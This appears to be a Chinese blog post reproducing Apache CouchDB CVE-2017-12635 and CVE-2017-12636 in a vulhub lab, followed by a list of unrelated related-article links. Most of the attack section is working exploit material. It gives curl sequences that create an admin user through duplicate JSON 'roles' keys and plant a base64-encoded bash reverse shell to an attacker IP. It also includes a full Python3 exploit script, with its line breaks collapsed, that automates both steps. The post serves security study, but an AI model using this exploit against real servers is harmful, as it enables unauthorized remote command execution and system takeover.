整体过程

  • 漏洞描述
  • 一、复现过程
    • 环境
    • 复现
  • cve-2017-12636反弹shell
  • python3 exp 反弹shell
  • 参考文章

漏洞描述

Apache CouchDB 是一个开源数据库,专注于易用性和成为” 完全拥抱 web 的数据库”。它是一个使用 JSON 作为存储格式,JavaScript 作为查询语言,MapReduce 和 HTTP 作为 API 的 NoSQL 数据库。应用广泛,如 BBC 用在其动态内容展示平台,Credit Suisse 用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web 和应用程序)。

在 2017 年 11 月 15 日,CVE-2017-12635 和 CVE-2017-12636 披露,CVE-2017-12635 是由于 Erlang 和 JavaScript 对 JSON 解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。

影响版本:小于 1.7.0 以及 小于 2.1.1


一、复现过程

环境

一台攻击机(kali-2021)192.168.141.190
受害机(vulhub搭建的)192.168.141.199

复现

首先使用nmap扫描一遍之后发现5984端口开放,然后-sV 可以看到对应的版本

2.1.0版本同理
判断一下是否在漏洞复现的范围内,两个都在所以可以进行复现cve-2017-12635,进行垂直权限绕过

原理上是由于:
Erlang和JavaScript,对JSON解析方式的不同,对于重复的键Erlang会存储两个值,而JavaScript只存储第二个值.
由于这个原因,我们写了两个roles 第二个为空是为了绕过js的判断机制,然后在Erlang中getter函数只返回第一个值也就是"roles": [“_admin”],所以就新建了一个amdin用户

新建用户成功

cve-2017-12636反弹shell

CVE-2017-12636 是一个任意命令执行漏洞,我们可以通过 config api 修改 couchdb 的配置 query_server,这个配置项在设计、执行 view 的时候将被运行。

由于Couchdb 2.x 引入了集群,所以修改配置的 API 需要增加 node name,且Couchdb 2.x 删除了_temp_view,所以2.1.0版本在复现的时候某些步骤不太一样
先复现1.6.0版本的
在写入命令的时候,使用bash反弹shell, 但是如果直接写bash -i >& /dev/tcp/192.168.141.190/7777 0>&1 命令执行会失败,所以需要用

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0MS4xOTAvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}'

写入命令,其中的base64加密字符串为前面bash -i命令的加密后的结果
需要用这个方式加密
curl -X PUT 'http://xiaoming:xiaoming@192.168.141.199:5984/_config/query_servers/cmd' -d "\"bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0MS4xOTAvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}'\""

如果之前存在过命令,这里返回结果就是双引号中带之前的命令

之后的新建数据库和新建表是两个版本通用的
curl -X PUT 'http://xiaoming:xiaoming@192.168.141.199:5984/vultest' 新建一个名为vultest的数据库

curl -X PUT 'http://xiaoming:xiaoming@192.168.141.199:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}' 在刚建立的数据库中新建一个表(个人理解)

由于1.6版本还有_temp_view,所以使用_temp_view
curl -X POST 'http://xiaoming:xiaoming@192.168.141.199:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'

1.6版本反弹shell成功

2.1.0反弹shell
前面说了Couchdb 2.x 引入了集群,所以修改配置的 API 需要增加 node name,且Couchdb 2.x 删除了_temp_view.
首先是(读取一下节点)后面要用
curl http://xiaoming:xiaoming@192.168.141.199:5984/_membership

写入命令
curl -X PUT http://xiaoming:xiaoming@192.168.141.199:5984/_node/nonode@nohost/_config/query_servers/cmd -d "\"bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0MS4xOTAvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}'\""

接下来新建数据库和表与前面一样
curl -X PUT 'http://xiaoming:xiaoming@192.168.141.199:5984/vultest'

curl -X PUT 'http://xiaoming:xiaoming@192.168.141.199:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'

执行命令
curl -X PUT http://xiaoming:xiaoming@192.168.141.199:5984/vultest/_design/vul -d '{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json"

反弹成功

python3 exp 反弹shell

#!/usr/bin/env python3
import requests
import base64
import json
import sys
from requests.auth import HTTPBasicAuthdef exp(target, tar_shell):target = 'http://' + targetshell_code = rb"bash -i >& /dev/tcp/" + bytes(tar_shell.split(":")[0].encode()) + rb"/" + bytes(tar_shell.split(":")[1].encode()) + rb" 0>&1"shell_code = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(shell_code).decode()session = requests.session()session.headers = {'Content-Type': 'application/json'}# session.proxies = {#     'http': 'http://127.0.0.1:8085'# }new_user_result = session.put(target + '/_users/org.couchdb.user:xiaoming',data='{"type": "user","name": "xiaoming","roles": ["_admin"],"roles": [],''"password": "xiaoming"}')if "ok" in new_user_result.text:print("用户名:xiaoming\n密码:xiaoming")session.auth = HTTPBasicAuth('xiaoming', 'xiaoming')if session.get(target).json()["version"][0] == '2':node_user = session.get(target + "/_membership").json()["all_nodes"][0]session.put(target + "/_node/{}/_config/query_servers/cmd".format(node_user), data=json.dumps(shell_code))else:session.put(target + "/_config/query_servers/cmd", data=json.dumps(shell_code))session.put(target + "/vulhubs")session.put(target + "/vulhubs/test", data='{"_id":"1"}')if session.get(target).json()["version"][0] == '2':session.put(target + "/vulhubs/_design/test",data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}', timeout=1)else:session.post(target + "/vulhubs/_temp_view?limit=10", data='{"language":"cmd","map":""}', timeout=1)else:print("复现失败(新建用户失败),判断一下版本是否小于1.7.0或者小于2.1.1")if __name__ == '__main__':print("begin")try:exp(sys.argv[1], sys.argv[2])except IndexError:print("请检查目标,和监听主机ip")

参考文章

[1] https://blog.csdn.net/EC_Carrot/article/details/117217808
[2] https://blog.csdn.net/qq_45722897/article/details/117912516
[3] https://www.wangan.com/docs/304

CVE-2017-12635+12636 复现+反弹shell相关推荐

  1. log4j2核弹级漏洞靶场复现(反弹shell)

    环境搭建: 本次漏洞复现采用vulfocus的log4j2靶场docker 使用Kali系统进行复现实验 搭建docker拉取漏洞镜像可参考以下链接: https://blog.csdn.net/we ...

  2. win7 dll怎么在xp运行_微信DLL劫持反弹shell复现

    网安引领时代,弥天点亮未来  写在前面: 最近刚好在做PPT的dll劫持测试,现在就随便拿一个程序来练练手.增加一下熟练度.本测试纯属学习测试过程,不可用于非法操作!!! 一.测试环境 工具下载地址: ...

  3. 中国蚁剑AntSword反制 RCE漏洞复现 windows环境上反弹shell 吊打攻击你的黑客

    中国蚁剑(AntSword) 是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员. WebShell WebShell可以理解为网页中的木马程序,通过植 ...

  4. windows反弹shell复现

    windows反弹shell 简介: reverse shell(反弹shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端.reverse sh ...

  5. cve-2018-2628 Weblogic反序列化漏洞实现反弹shell

    测试机:MacBook-Air 测试机IP:192.168.0.100 靶机IP:192.168.0.100:7001 环境: docker 工具:CVE-2018-2628漏洞利用工具包 下载 一. ...

  6. [网络安全自学篇] 五十八.Windows安全缺陷利用之再看CVE-2019-0708及反弹shell防御措施

    很早之前,我分享过一篇名叫 "四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解" 的博客,主要采用Python代码让目标XP系统蓝屏.当时也阅读了很多 ...

  7. 059 提权与反弹shell

    文章目录 一:权限提升概述 二:windows提权 2.1: 启动项提权 2.2:系统漏洞提权 2.2.1:笔记 2.2.2:部分截图 2.2.3:收集到的漏洞列表: 2.2.4:windows200 ...

  8. Apache Log4j2 RCE漏洞利用反弹shell合集

    目录 一.漏洞描述 二.漏洞复现 1. bugku靶场 反弹shell 命令执行 2. 掌控安全 反弹shell 三.Burp扫描插件 四.修复建议 一.漏洞描述 2021年11月24日,阿里云安全团 ...

  9. log4j 2 远程代码执行漏洞原理与搭建反弹shell

    log4j2漏洞出来有一段时间了, 该修复的都修复的差不多了, 是时候可以公开让大家了解下原理以及如何构建整套体系了. 本文虽然是靶机, 但原理上还是可以攻击其它漏洞机器的. 建议测试即可, 不然你就 ...

  10. 渗透测试常用反弹shell方法(如何渗透测试反弹shell?)-Windows篇(゚益゚メ) 渗透测试

    文章目录 反弹shell介绍 常用反弹方式 NetCat(NC)反弹 正向NC 反向NC mshta.exe利用 msf利用模块 方法一(msfconsole) 方法二(msfvenom) Cobal ...

最新文章

  1. phpcms数据库操作
  2. 如何在ubuntu下安装detectron2_Anaconda中安装Cascade RCNN(Detectron)的若干问题
  3. BugkuCTF-Crypto题MathEnglish
  4. 在.Net中使用log4Net
  5. python3 super_python3的super详解
  6. 单点登录原理及实现方式
  7. 洛谷 P3435 [POI2006]OKR-Periods of Words(KMP+记忆化搜索)
  8. django improperly configured
  9. 约瑟夫环(数三退一)
  10. 如何开启全新旅途,实现旅游市场活力复苏
  11. 求助FC上的一个c++代码实现丧心病狂的走迷宫小游戏!
  12. 全国计算机技术与软件专业技术考试----(高级资格/高级工程师)各资格证详细介绍
  13. matlab 矩阵处理,matlab矩阵处理
  14. 可视化例子(14)——ECharts波浪图(或者称为河流图)
  15. C# 操作现有Word表格详细教程
  16. word2vec原理
  17. python打分函数_自定义评分函数RandomForestRegress
  18. 海海软件发布HHMeet Android安卓测试版- 加密保护Zoom视频会议-手机直播防翻录
  19. Win10系统开机后卡在“请稍后”界面很长时间才能进入
  20. java后端实现文件下载

热门文章

  1. 正方形螺旋线python代码_python绘制正方形螺旋线
  2. 2020数学建模国赛A题思路与代码(全)
  3. 51单片机数码管密码锁
  4. LA 4987 背包
  5. JAVA缴税_根据工资和税率计算应缴税(java)
  6. php soh stx,symbol NULL SOH STX ETX EOT ENQ ACK ASCII(符号零SOH STX ETX传输结束询问ACK ASCII).pdf...
  7. html5 keygen 作用,html keygen标签怎么用
  8. 【教案】心田花开:如何辅导一年级孩子看图写话
  9. 一本好书,若干能源大数据分析论文分享
  10. 平行四边形 java_Java编写三角形和平行四边形